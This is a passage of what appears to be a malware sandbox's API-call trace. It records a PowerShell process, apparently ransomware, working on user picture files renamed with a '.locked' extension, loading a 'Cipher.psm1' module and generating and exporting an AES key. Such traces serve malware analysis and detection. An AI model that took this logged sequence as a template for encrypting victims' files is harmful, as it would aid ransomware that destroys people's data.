[1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.922] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.923] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\kmgboipqmxvfxlng7.gif.locked")) returned 0x20 [0135.923] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\kmgboipqmxvfxlng7.gif.locked")) returned 0x20 [0135.923] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif.locked", lpFilePart=0x0) returned 0x66 [0135.923] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif.locked", lpFilePart=0x0) returned 0x66 [0135.923] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.923] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif", lpFilePart=0x0) returned 0x5f [0135.923] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.923] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.923] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.923] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.925] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.925] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.925] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.925] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.925] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.926] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.926] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.926] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.927] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.927] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.928] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.928] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.928] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.928] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.928] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.929] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.929] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.929] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.929] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.929] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.931] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0135.931] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\kmgboipqmxvfxlng7.gif.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a86d70 | out: lpFileInformation=0x6a86d70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143c82af, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x143c82af, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x143c82af, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x107a4)) returned 1 [0135.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0135.932] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif.locked", lpFilePart=0x0) returned 0x66 [0135.932] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\kmgboipqmxvfxlng7.gif.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0135.932] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0135.932] CloseHandle (hObject=0x858) returned 1 [0135.935] GetConsoleOutputCP () returned 0x1b5 [0135.939] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.939] GetConsoleOutputCP () returned 0x1b5 [0135.940] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.940] GetConsoleOutputCP () returned 0x1b5 [0135.940] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.940] GetConsoleOutputCP () returned 0x1b5 [0135.940] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.940] GetConsoleOutputCP () returned 0x1b5 [0135.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.941] GetConsoleOutputCP () returned 0x1b5 [0135.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.941] GetConsoleOutputCP () returned 0x1b5 [0135.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.942] GetConsoleOutputCP () returned 0x1b5 [0135.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.942] GetConsoleOutputCP () returned 0x1b5 [0135.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.942] GetConsoleOutputCP () returned 0x1b5 [0135.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.943] GetConsoleOutputCP () returned 0x1b5 [0135.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.943] GetConsoleOutputCP () returned 0x1b5 [0135.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.944] GetConsoleOutputCP () returned 0x1b5 [0135.944] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0135.944] GetConsoleOutputCP () returned 0x1b5 [0135.944] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0135.944] GetConsoleOutputCP () returned 0x1b5 [0135.945] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.945] GetConsoleOutputCP () returned 0x1b5 [0135.945] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0135.945] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0135.946] GetConsoleOutputCP () returned 0x1b5 [0135.946] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0135.946] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.946] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6aadf74*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6aadf74*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0135.947] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0135.947] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0135.951] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.952] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.952] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.952] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.952] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.952] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.952] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.953] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0135.953] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0135.953] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.953] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.953] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.954] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e02360) returned 1 [0135.955] CryptGenKey (in: hProv=0x8e02360, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84df8) returned 1 [0135.955] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.955] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.955] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6ab78c8, pdwDataLen=0x99ae894 | out: pbData=0x6ab78c8*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0135.955] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x7858\x6ab\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0135.955] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.955] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, 